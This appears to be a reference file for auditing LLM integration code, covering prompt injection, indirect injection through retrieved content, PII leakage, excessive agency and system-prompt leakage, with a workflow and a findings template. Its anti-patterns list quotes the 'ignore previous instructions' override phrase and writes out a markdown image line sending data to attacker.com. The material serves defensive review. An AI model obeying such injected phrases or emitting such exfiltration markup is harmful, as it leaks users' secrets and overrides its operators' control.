/sentinel

AI Security Audit Reference

Purpose: Static review of LLM integration code — prompt injection surfaces, jailbreak-resistance of input handling, indirect prompt injection via retrieved content, PII leakage, unsafe tool-use boundary, and output-to-action gating. Maps to OWASP LLM Top 10 2025: LLM01 Prompt Injection, LLM02 Sensitive Information Disclosure, LLM06 Excessive Agency, LLM07 System Prompt Leakage.

Scope Boundary

• This file (ai-security.md) — AI-as-integration risk: static audit of the integration code in the product — prompt assembly, retrieval pipeline, tool allowlist, output rendering, PII scrubbing, rate/cost limits. Maps to OWASP LLM Top 10 2025.
• Sibling ai-code-security.md — AI-as-author risk: source-level flaws in AI-generated code (slopsquatting, hallucinated packages, XSS/SQLi rate stats), threats against the developer's AI tooling (Rules File Backdoor, IDEsaster, MCP supply-chain poisoning), and the modern SAST landscape.
• Breach (elsewhere) — adversarial red-team validation: actually crafting jailbreaks, running DAN-style payloads, chaining indirect injections through attacker-controlled documents, model extraction probes.
• Oracle (elsewhere) — AI/ML application design: prompt strategy, RAG retrieval quality, eval harness, model selection. Design belongs to Oracle; hardened implementation is reviewed here.

Rule of thumb:

• "This code path can be exploited statically (missing escape / missing allowlist / PII leak pipe at the LLM boundary)" → here (ai-security.md).
• "An AI wrote this code; is the source itself vulnerable?" → ai-code-security.md.
• "Does this model actually get jailbroken?" → Breach.
• "What prompt should we use?" → Oracle.

Workflow

SCAN       → map the LLM boundary: where does user/untrusted text enter
             a prompt, a retrieval chunk, a tool parameter, or a model
             output rendered to a user or used as an action?
           → enumerate tools exposed to the model (shell, SQL, HTTP,
             file, send-email, wire-transfer)
           → locate logging / telemetry sinks (do prompts/outputs flow
             into logs that may include PII or secrets?)

PRIORITIZE → CRITICAL: tool-use executes arbitrary shell/SQL from model
             output; PII/secret flows into prompt then into third-party
             model provider telemetry; system prompt leakable via echo
             request
           → HIGH: indirect prompt injection through RAG sources without
             sanitization; markdown/HTML rendered from model output
             without escape (phishing / data-exfil via image URLs);
             no rate/cost limit; user prompt concatenated into system
             prompt without delimiter
           → MEDIUM: missing output-length cap; no refusal on
             self-identifying system-prompt requests; retry on moderation
             failure instead of fail-closed
           → LOW: absent audit log of tool invocations

FILTER     → framework guarantees: trust e.g. official SDK with structured
             tool-call schema + strict JSON-mode; do not trust free-form
             regex parsing of model output as "safe"

SECURE     → separate system/user with provider-native roles (never string
             concat); sanitize retrieved content (strip known injection
             phrases, tag origin, clamp length); allowlist tools + validate
             each parameter against a schema; escape rendered output;
             scrub PII before prompt assembly and before logging;
             enforce per-user cost/rate budgets

VERIFY     → re-read diff; confirm the untrusted-to-trusted boundary has
             exactly one gate; run regression prompts (known-injection
             corpus) at VERIFY, not at PRESENT

PRESENT    → severity + confidence + OWASP LLM Top 10 2025 mapping +
             file:line; cross-link to Breach for adversarial validation
             and to Oracle if the fix requires prompt-architecture change

High-Signal Patterns

Anti-Patterns (fail the audit)

• Treating model output as trusted input to any downstream control decision (if model_says == "yes" then grant). Model output is user-influenced data.
• Indirect prompt injection ignored: RAG pulls in web pages / uploaded PDFs / tickets / email — any of which can carry "ignore previous instructions" payloads (OWASP LLM01 variant, dominant in 2025).
• Letting the model both decide an action AND execute it without a human-in-the-loop or policy gate (OWASP LLM06 Excessive Agency).
• Rendering model output as markdown with image auto-load — a documented exfiltration primitive: the model is coerced into emitting ![x](https://attacker.com/?data=SECRET).
• Logging full prompt+completion pairs with PII/secrets to third-party observability, then failing GDPR/SOC2 review.
• Pretending moderation API = injection defense. Moderation filters toxicity, not instruction hijacking.
• Using user-controlled content inside a JSON-mode "schema description" or tool description — tool descriptions are themselves part of the attack surface.

Handoff

Output Template

Finding: [short title]
Severity: CRITICAL | HIGH | MEDIUM | LOW
Confidence: HIGH | MEDIUM | LOW
OWASP LLM Top 10 2025: [LLM01 | LLM02 | LLM06 | LLM07 | ...]
File:Line: path/to/file.ts:NN
Evidence: [3-6 line code quote]
Impact: [e.g. arbitrary tool execution, PII exfil, system-prompt disclosure]
Remediation: [concrete diff: separate roles, tag RAG content, escape render, allowlist tool]
Verification: [regression prompts + unit test on untrusted-boundary gate]
Cross-link: [Breach for adversarial validation | Oracle for prompt redesign | Cloak for PII]